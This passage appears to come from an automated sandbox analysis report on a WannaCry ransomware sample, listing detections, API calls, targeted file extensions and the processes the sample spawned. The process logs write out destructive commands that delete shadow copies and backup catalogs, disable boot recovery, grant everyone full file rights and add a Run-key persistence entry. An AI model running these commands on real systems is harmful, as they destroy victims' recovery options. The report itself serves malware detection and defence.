Source: unknown	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: unknown	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no

Data Obfuscation:

Contains functionality to dynamically determine API calls

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

Code function: 5_2_100011D0 wcsrchr,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetLastError,GlobalAlloc,GetTokenInformation,LoadLibraryA,GetProcAddress,wcscpy,GlobalFree,

5_2_100011D0

Generates new code (likely due to unpacking of malware or shellcode)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

Code execution: Found new code

PE file contains an invalid checksum

Show sources

Source: tasksche.exe.3048.dr	Static PE information: real checksum: 0x0 should be: 0x363012
Source: mssecsvc.exe	Static PE information: real checksum: 0x0 should be: 0x394136
Source: tasksche.exe.3216.dr	Static PE information: real checksum: 0x0 should be: 0x363012

PE file contains sections with non-standard names

Show sources

Source: libeay32.dll.3408.dr	Static PE information: section name: /4
Source: libeay32.dll.3408.dr	Static PE information: section name: /19
Source: libeay32.dll.3408.dr	Static PE information: section name: /31
Source: libeay32.dll.3408.dr	Static PE information: section name: /45
Source: libeay32.dll.3408.dr	Static PE information: section name: /57
Source: libeay32.dll.3408.dr	Static PE information: section name: /70
Source: libeay32.dll.3408.dr	Static PE information: section name: /81
Source: libeay32.dll.3408.dr	Static PE information: section name: /92
Source: libevent-2-0-5.dll.3408.dr	Static PE information: section name: /4
Source: libevent-2-0-5.dll.3408.dr	Static PE information: section name: /19
Source: libevent-2-0-5.dll.3408.dr	Static PE information: section name: /31
Source: libevent-2-0-5.dll.3408.dr	Static PE information: section name: /45
Source: libevent-2-0-5.dll.3408.dr	Static PE information: section name: /57
Source: libevent-2-0-5.dll.3408.dr	Static PE information: section name: /70
Source: libevent-2-0-5.dll.3408.dr	Static PE information: section name: /81
Source: libevent-2-0-5.dll.3408.dr	Static PE information: section name: /92
Source: libevent_core-2-0-5.dll.3408.dr	Static PE information: section name: /4
Source: libevent_core-2-0-5.dll.3408.dr	Static PE information: section name: /19
Source: libevent_core-2-0-5.dll.3408.dr	Static PE information: section name: /31
Source: libevent_core-2-0-5.dll.3408.dr	Static PE information: section name: /45
Source: libevent_core-2-0-5.dll.3408.dr	Static PE information: section name: /57
Source: libevent_core-2-0-5.dll.3408.dr	Static PE information: section name: /70
Source: libevent_core-2-0-5.dll.3408.dr	Static PE information: section name: /81
Source: libevent_core-2-0-5.dll.3408.dr	Static PE information: section name: /92

Spreading:

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10002300 CloseHandle,SHGetFolderPathW,??2@YAPAXI@Z,swprintf,FindFirstFileW,??3@YAXPAX@Z,??3@YAXPAX@Z,wcscmp,wcscmp,wcscmp,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcscmp,wcscmp,wcscmp,wcsncpy,wcsncpy,wcsncpy,FindNextFileW,FindClose,_wcsnicmp,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,	5_2_10002300
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Code function: 5_2_10004A40 CloseHandle,SHGetFolderPathW,wcslen,SHGetFolderPathW,SHGetFolderPathW,wcslen,wcsrchr,wcschr,SHGetFolderPathW,wcslen,wcsrchr,swprintf,FindFirstFileW,wcscmp,wcscmp,swprintf,wcscmp,swprintf,FindNextFileW,FindClose,	5_2_10004A40
Source: C:\ProgramData\ywepvofkuzu108\taskdl.exe	Code function: 10_2_00401080 GetDriveTypeW,Sleep,swprintf,swprintf,FindFirstFileW,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z,?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,DeleteFileW,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,DeleteFileW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,	10_2_00401080
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_004080C0 __p___argv,FindFirstFileA,fopen,fread,sscanf,fopen,fread,fclose,FindNextFileA,FindClose,sprintf,#537,#537,	14_2_004080C0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_004026B0 swprintf,FindFirstFileW,#825,#825,wcscmp,wcslen,wcscmp,wcscmp,swprintf,GetFileAttributesW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,wcscmp,wcscmp,wcscmp,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,swprintf,swprintf,DeleteFileW,swprintf,DeleteFileW,#825,#825,	14_2_004026B0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 14_2_00403CB0 FindFirstFileA,SendMessageA,SendMessageA,sscanf,fopen,fread,sprintf,SendMessageA,#823,SendMessageA,fclose,FindNextFileA,FindClose,	14_2_00403CB0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 18_1_004080C0 __p___argv,FindFirstFileA,fopen,fread,sscanf,fopen,fread,fclose,FindNextFileA,FindClose,sprintf,#537,#537,	18_1_004080C0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 18_1_004026B0 swprintf,FindFirstFileW,#825,#825,wcscmp,wcslen,wcscmp,wcscmp,swprintf,GetFileAttributesW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,wcscmp,wcscmp,wcscmp,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,swprintf,swprintf,swprintf,#825,#825,	18_1_004026B0
Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Code function: 18_1_00403CB0 FindFirstFileA,SendMessageA,SendMessageA,sscanf,fopen,fread,sprintf,SendMessageA,#823,SendMessageA,fclose,FindNextFileA,FindClose,	18_1_00403CB0
Source: C:\ProgramData\ywepvofkuzu108\taskdl.exe	Code function: 23_1_00401080 GetDriveTypeW,Sleep,swprintf,swprintf,FindFirstFileW,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z,?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,FindNextFileW,FindClose,DeleteFileW,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,DeleteFileW,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,	23_1_00401080

Creates COM task schedule object (often to register a task for autostart)

Show sources

Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Progid
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\wbengine.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler

Enumerates the file system

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File opened: C:\Users\All Users\Adobe\Acrobat\11.0\~SD874C.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File opened: C:\Users\All Users\Adobe\Acrobat\~SD874B.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File opened: C:\Users\All Users\~SD8739.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File opened: C:\Users\All Users\Adobe\Acrobat\11.0\Replicate\Security\~SD874E.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File opened: C:\Users\All Users\Adobe\Acrobat\11.0\Replicate\~SD874D.tmp
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	File opened: C:\Users\All Users\Adobe\~SD874A.tmp

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

Directory queried: number of queries: 1017

System Summary:

Executable creates window controls seldom found in malware

Show sources

Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe

Window found: window name: RICHEDIT

Uses Rich Edit Controls

Show sources

Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe

File opened: C:\Windows\system32\RICHED32.DLL

Submission file is bigger than most known malware samples

Show sources

Source: mssecsvc.exe

Static file information: File size 3723264 > 1048576

PE file has a big raw section

Show sources

Source: mssecsvc.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x35b000

Binary contains paths to development resources

Show sources

Source: tasksche.exe, mssecsvc.exe	Binary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll
Source: tasksche.exe	Binary or memory string: .der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.edb.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.dotx.dotm.dot.docm.docb.jpg.jpeg.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.eml.msg.ost.pst.pptx.ppt.xlsx.xls.docx.doc%s\%d%s.WNCRYT%s%sTWANACRY!.WNCRY.WNCYR\\@WanaDecryptor@.bmp@WanaDecryptor@.exe.lnk@Please_Read_Me@.txt%s\%s...%s\*.dll.exe~SD@WanaDecryptor@.exeContent.IE5Temporary Internet Files This folder protects against ransomware. Modifying it will reduce protection\Local Settings\Temp\Ap
Source: @WanaDecryptor@.exe	Binary or memory string: A.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docConnecting to server...s.wnry%08X.eky%08X.res00000000.resrb%08X.dky%08X.pkyConnectedSent requestSucceedReceived responseCongratulations! Your payment has been checked!

Classification label

Show sources

Source: classification engine

Classification label: mal100.evad.rans.phis.spyw.troj.winEXE@57/432@2/8

Contains functionality to adjust token privileges (e.g. debug / backup)

Show sources

Source: C:\ProgramData\ywepvofkuzu108\taskse.exe	Code function: 21_2_00401000 Sleep,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,LoadLibraryA,GetProcAddress,AdjustTokenPrivileges,_local_unwind2,CreateProcessAsUserA,WaitForSingleObject,_local_unwind2,	21_2_00401000
Source: C:\ProgramData\ywepvofkuzu108\taskse.exe	Code function: 21_2_00401398 Sleep,AdjustTokenPrivileges,	21_2_00401398
Source: C:\ProgramData\ywepvofkuzu108\taskse.exe	Code function: 38_1_00401000 Sleep,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,LoadLibraryA,GetProcAddress,AdjustTokenPrivileges,_local_unwind2,CreateProcessAsUserA,WaitForSingleObject,_local_unwind2,	38_1_00401000
Source: C:\ProgramData\ywepvofkuzu108\taskse.exe	Code function: 38_1_00401398 Sleep,AdjustTokenPrivileges,	38_1_00401398

Contains functionality to check free disk space

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

Code function: 5_2_10005540 GetDriveTypeW,InterlockedExchangeAdd,GetDiskFreeSpaceExW,Sleep,GetDiskFreeSpaceExW,Sleep,GetDriveTypeW,GetDriveTypeW,GetDriveTypeW,GetDriveTypeW,InterlockedExchange,GetDriveTypeW,

5_2_10005540

Contains functionality to create services

Show sources

Source: C:\mssecsvc.exe	Code function: sprintf,OpenSCManagerA,InternetCloseHandle,CreateServiceA,CloseServiceHandle,StartServiceA,CloseServiceHandle,CloseServiceHandle,		0_2_00407C40
Source: C:\Windows\tasksche.exe	Code function: OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,		3_2_00401CE8

Contains functionality to load and extract PE file embedded resources

Show sources

Source: C:\mssecsvc.exe

Code function: 0_2_00407CE0 InternetCloseHandle,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,FindResourceA,LoadResource,LockResource,SizeofResource,sprintf,sprintf,sprintf,MoveFileExA,CreateFileA,WriteFile,CloseHandle,CreateProcessA,CloseHandle,CloseHandle,

0_2_00407CE0

Contains functionality to modify services (start/stop/modify)

Show sources

Source: C:\mssecsvc.exe

Code function: 0_2_00407FA0 ChangeServiceConfig2A,

0_2_00407FA0

Contains functionality to register a service control handler (likely the sample is a service DLL)

Show sources

Source: C:\mssecsvc.exe

Code function: 0_2_00408090 GetModuleFileNameA,__p___argc,OpenSCManagerA,InternetCloseHandle,OpenServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,StartServiceCtrlDispatcherA,

0_2_00408090

Creates files inside the program directory

Show sources

Source: C:\Windows\tasksche.exe

File created: C:\ProgramData\ywepvofkuzu108

Creates files inside the user directory

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

File created: C:\Users\Default\Desktop\~SD8694.tmp

Creates temporary files

Show sources

Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe

File created: C:\Users\All Users\Microsoft\RAC\Temp\~SD887B.tmp

Executes batch files

Show sources

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c 239891494608079.bat

Executes visual basic scripts

Show sources

Source: unknown

Process created: C:\Windows\System32\cscript.exe cscript.exe //nologo m.vbs

Found command line output

Show sources

Source: C:\Windows\System32\icacls.exe	Console Write: ....................a..v..0.............................................+'...2"........v.....@..........x...............
Source: C:\Windows\System32\cmd.exe	Console Write: ........l#..........T.h.e. .b.a.t.c.h. .f.i.l.e. .c.a.n.n.o.t. .b.e. .f.o.u.n.d...........+........v..+.B...`...........
Source: C:\Windows\System32\reg.exe	Console Write: ........a..v..0.....T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y...........#.N...p.........#.
Source: C:\Windows\System32\vssadmin.exe	Console Write: ............`.......................a..v..0.....4...@...D....W..............................................S<..........
Source: C:\Windows\System32\vssadmin.exe	Console Write: ..............H.....N.o. .i.t.e.m.s. .f.o.u.n.d. .t.h.a.t. .s.a.t.i.s.f.y. .t.h.e. .q.u.e.r.y...........P...S<..........
Source: C:\Windows\System32\bcdedit.exe	Console Write: ...........v........T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y.............N.........Bw.dBw
Source: C:\Windows\System32\bcdedit.exe	Console Write: ...........v........T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y.........@...N.........Bw.dBw
Source: C:\Windows\System32\wbadmin.exe	Console Write: ........PYBw..........%...%.O..............................v.....'.@p.%.........W.5u.....'.@p.%.........................
Source: C:\Windows\System32\wbadmin.exe	Console Write: ........PYBwh.......Bo&.@o&.4.......h......................v.....(.@..&.....h...W.5u.....(.@..&.t.......f...............

PE file has an executable .text section and no other executable section

Show sources

Source: mssecsvc.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads ini files

Show sources

Source: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe

File read: C:\Windows\win.ini

Reads software policies

Show sources

Source: C:\mssecsvc.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Spawns processes

Show sources

Source: unknown	Process created: C:\mssecsvc.exe 'C:\mssecsvc.exe'
Source: unknown	Process created: C:\mssecsvc.exe C:\mssecsvc.exe -m security
Source: unknown	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c 'C:\ProgramData\ywepvofkuzu108\tasksche.exe'
Source: unknown	Process created: C:\ProgramData\ywepvofkuzu108\tasksche.exe C:\ProgramData\ywepvofkuzu108\tasksche.exe
Source: unknown	Process created: C:\Windows\System32\attrib.exe attrib +h .
Source: unknown	Process created: C:\Windows\System32\icacls.exe icacls . /grant Everyone:F /T /C /Q
Source: unknown	Process created: C:\ProgramData\ywepvofkuzu108\taskdl.exe taskdl.exe
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c 239891494608079.bat
Source: unknown	Process created: C:\Windows\System32\cscript.exe cscript.exe //nologo m.vbs
Source: unknown	Process created: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe @WanaDecryptor@.exe co
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start /b @WanaDecryptor@.exe vs
Source: unknown	Process created: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe @WanaDecryptor@.exe vs
Source: unknown	Process created: C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe TaskData\Tor\taskhsvc.exe
Source: unknown	Process created: C:\ProgramData\ywepvofkuzu108\taskse.exe taskse.exe C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 'ywepvofkuzu108' /t REG_SZ /d '\'C:\ProgramData\ywepvofkuzu108\tasksche.exe\'' /f
Source: unknown	Process created: C:\ProgramData\ywepvofkuzu108\taskdl.exe taskdl.exe
Source: unknown	Process created: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe
Source: unknown	Process created: C:\Windows\System32\reg.exe reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 'ywepvofkuzu108' /t REG_SZ /d '\'C:\ProgramData\ywepvofkuzu108\tasksche.exe\'' /f
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: unknown	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: unknown	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: unknown	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: unknown	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: unknown	Process created: C:\Windows\System32\wbadmin.exe wbadmin delete catalog -quiet
Source: unknown	Process created: C:\Windows\System32\wbengine.exe C:\Windows\system32\wbengine.exe
Source: unknown	Process created: C:\ProgramData\ywepvofkuzu108\taskdl.exe taskdl.exe
Source: unknown	Process created: C:\ProgramData\ywepvofkuzu108\taskse.exe taskse.exe C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe
Source: unknown	Process created: C:\Windows\System32\vdsldr.exe C:\Windows\System32\vdsldr.exe -Embedding
Source: C:\mssecsvc.exe	Process created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\ywepvofkuzu108\tasksche.exe C:\ProgramData\ywepvofkuzu108\tasksche.exe
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process created: C:\Windows\System32\attrib.exe attrib +h .
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process created: C:\Windows\System32\icacls.exe icacls . /grant Everyone:F /T /C /Q
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process created: C:\ProgramData\ywepvofkuzu108\taskdl.exe taskdl.exe
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c 239891494608079.bat
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process created: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe @WanaDecryptor@.exe co
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start /b @WanaDecryptor@.exe vs
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process created: C:\ProgramData\ywepvofkuzu108\taskse.exe taskse.exe C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 'ywepvofkuzu108' /t REG_SZ /d '\'C:\ProgramData\ywepvofkuzu108\tasksche.exe\'' /f
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process created: C:\ProgramData\ywepvofkuzu108\taskdl.exe taskdl.exe
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process created: C:\ProgramData\ywepvofkuzu108\taskdl.exe taskdl.exe
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process created: C:\ProgramData\ywepvofkuzu108\taskse.exe taskse.exe C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process created: unknown unknown
Source: C:\ProgramData\ywepvofkuzu108\tasksche.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript.exe //nologo m.vbs
